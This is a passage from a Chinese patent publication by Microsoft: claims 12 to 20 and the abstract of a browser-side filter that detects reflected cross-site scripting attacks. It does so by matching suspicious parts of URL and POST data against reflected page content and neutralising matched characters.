12.—种计算机实现的过滤反射的XSS攻击的方法,包括向服务器发送请求(700);使用启发规则,处理所述请求,判断是否要生成签名(702);从所述服务器(704)接收响应;以及基于签名的生成,作为反射的XSS攻击,过滤响应。
13.如权利要求12所述的方法,进一步包括,将所述请求的可疑的部分与反射的网页 内容匹配,以判断所述响应中是否存在XSS攻击。
14.如权利要求12所述的方法,其特征在于,所述请求包括URL或POST数据中的一个 或多个。
15.如权利要求14所述的方法,进一步包括使用正则表达式来标识所述请求的URL或 POST数据中的一个或多个中的字符的特定模式。
16.如权利要求12所述的方法,进一步包括将非HTMLMIME类型和同一站点请求在无 需进行过 滤处理且无需生成签名的情况下放行。
17.如权利要求12所述的方法,进一步包括通过将请求的引用者标头的完全限定域名 与正在被检索的URL的完全限定域名进行比较来检查所述引用者标头,如果存在不匹配, 或者,不存在引用者标头或引用者标头空白,则过滤所述请求。
18.如权利要求12所述的方法,进一步包括,选择一个或多个中性字符并将它们插入 到所述启发规则中,以标识所述请求中的可疑的字符供在对所述响应的处理中修改。
19.如权利要求12所述的方法,进一步包括,基于如启发规则确定的所述请求中的字 符的特定模式的匹配,从所述启发规则生成所述签名。
20.如权利要求12所述的方法,进一步包括使用所述签名来扫描所述响应,基于所述 签名而使用中性替换字符来使所述响应中性化,并向客户端浏览器返回所述响应。
全文摘要
通过安装防止反射的XSS漏洞的客户端过滤器可以完全地在客户端上实现的反射的跨站脚本(XSS)减轻技术。完全地在客户端上执行的XSS过滤允许Web浏览器抵御涉及可能没有充分的XSS减轻措施的服务器的XSS。该技术使用精选的启发规则,并将URL和POST数据的可疑的部分与反射的页面内容进行匹配,来准确地标识XSS攻击。过滤器所使用的技术快速地标识被认为是安全的通信流并将其放行,使过滤器对性能的影响保持最低。可以快速地将非HTML MIME类型以及同一站点的请求放行。对于剩余的请求,不在完全的HTTP响应上运行正则表达式,除非XSS启发规则在HTTP请求URL或POST数据中被匹配。
文档编号G06F21/00GK101849238SQ200880115316
公开日2010年9月29日 申请日期2008年10月15日 优先权日2007年11月5日
发明者D·A·罗斯, S·B·利普内 申请人:微软公司
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1